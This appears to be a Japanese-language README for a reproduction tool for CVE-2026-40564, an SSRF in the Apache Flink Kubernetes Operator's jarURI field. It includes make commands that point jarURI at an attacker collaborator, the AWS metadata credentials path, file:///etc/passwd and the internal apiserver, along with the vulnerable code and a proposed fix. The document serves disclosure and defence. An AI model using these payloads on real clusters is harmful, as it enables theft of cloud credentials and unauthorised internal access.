
CVE-2026-40564: apache/flink-kubernetes-operator の FlinkSessionJob jarURI を介した SSRF。1つの make コマンドでローカルの kind クラスター上で実行できる自己完結型の再現ツールです。
Apache Flink Kubernetes Operator は、FlinkSessionJob(または FlinkDeployment)リソース上の spec.job.jarURI フィールドをチェックしません。これらのリソースを作成できる人は誰でも、jarURI を任意の URL に設定できます。Operator がリソースを調整(reconcile)する際、自身の Pod 内部からその URL を取得します。スキームは http、https、file、または Flink に同梱されているファイルシステムプラグインのいずれにもできるため、リクエストは Operator Pod が到達できるほぼどこへでも送信できます。
main(2026-04-09 時点の 1.15-SNAPSHOT)[email protected] および [email protected](2026-04-09)SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
これにより、次の5つのステップが順に実行されます:
jarURI を持つ FlinkSessionJob を適用する成功すると、実行の最後は次のようになります:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
初回の実行には約6〜8分かかります。その大部分は、約700 MB の flink:1.17 イメージをプルする時間です。以降の実行は約3分です。
docker、kind、kubectl 1.23 以降、helm 3、make、curl、jq が必要です。クラスタは webhook.site と通信できるよう、インターネットに到達できる必要があります。
デフォルトでは、Makefile が新しい webhook.site URL を取得します。リクエストを別の場所に送信するには、SSRF_URL に使用したい完全な jarURI を設定します。その値がそのまま使用されます。
# 特定の webhook.site URL を再利用する
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# 自分専用のコラボレーター(Burp、interactsh、netcat リスナーなど)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# AWS インスタンスメタデータサービス
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Flink のファイルシステム層が処理する非 http スキーム
make verify SSRF_URL=file:///etc/passwd
確認方法が結果をどう判定するかは、ターゲットによって異なります。URL が webhook.site 上にある場合、Makefile はその REST API を読み取り、取得されたリクエストを表示します。それ以外の場合は、Operator のログを読み取り、フェッチが実行されたことを示す HttpArtifactFetcher.fetch スタックフレームを探します。WEBHOOK_URL も使用でき、SSRF_URL と同じ意味です。
make cleanup
これにより kind クラスタが削除されます。何も残りません。
3つのクラスが関与していますが、いずれも jarURI 内のスキーム、ホスト、IP を確認しません。
DefaultValidator.validateJobSpec は、並列度、アップグレードモード、セーブポイント設定、リソース形状をチェックします。job.getJarURI() を読み取ることはありません:
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch は、スキームからフェッチャーを選択します。許可リストはなく、http でも https でもないものはすべて Flink のファイルシステム層にフォールスルーします:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch は、指定された URL をそのまま開きます。ホストチェックも IP レンジチェックもなく、ループバックやリンクローカルアドレスへのアクセスを防ぐものもありません:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
Operator は通常、広範な RBAC 権限で実行されます。公式 Helm チャートは、シークレットを含む複数のリソースタイプに対して * を付与しており、Pod は通常、制限なくネットワークに到達できます。Operator に代わってリクエストを送信させることができれば、次のことが可能です:
FlinkSessionJob のステータス内のエラーメッセージから結果を読み取る複数のチームが同じ Operator を共有する共有クラスタでは、どのチームも Operator を使用して別のチームのリソースに到達できます。
再現スクリプトはデフォルトで webhook.site を使用しますが、このバグは URL が何であるかを問いません。SSRF_URL を設定するか、manifests/vulnerable-sessionjob.yaml を編集して、次のいずれかに変更してください:
jarURI | 到達先 |
|---|---|
DefaultValidator.validateJobSpec にチェックを追加します:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES のデフォルトを Set.of("https") にします。s3 や他のスキームが必要な Operator は、それを追加できます。
さらに2つのことを行う価値があります:
169.254.0.0/16)、ループバック、既知のクラウドメタデータアドレスへの egress をブロックする NetworkPolicy を追加する。Makefile は、Linux で kind を壊す2つの問題を回避します。各チェックは問題が実際に存在する場合にのみ実行されるため、再実行しても安全です。
/etc/resolv.conf は 127.0.0.1 を指すため、クラスタは外部の名前を localhost に解決します。cluster-up ステップは、CoreDNS 設定を書き換えて 1.1.1.1 と 8.8.8.8 にフォワーディングします。ndots が5に設定されていると、webhook.site のような名前には最初にホストの検索ドメインが追加され、一部の ISP は認識しないサブドメインに対して 127.0.0.1 を返します。install-operator ステップは、Operator Pod に独自の dnsConfig を付与して、これが発生しないようにします。フル実行が途中で失敗した場合は、make verify-ssrf を単独で実行できます。これは稼働中の FlinkSessionJob から jarURI を読み取るため、ローカルに保存されたものには依存しません。
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> |
| AWS IMDSv1、Operator Pod のノードの IAM 認証情報 |
http://10.0.0.1:6443/api | クラスタ内の apiserver、または Operator の IP を許可している内部エンドポイント |
file:///etc/passwd | ファイルシステムフェッチャーブランチを介した Operator Pod 自身のファイルシステム |
s3://attacker-bucket/x.jar | Operator Pod の認証情報を使用した S3 |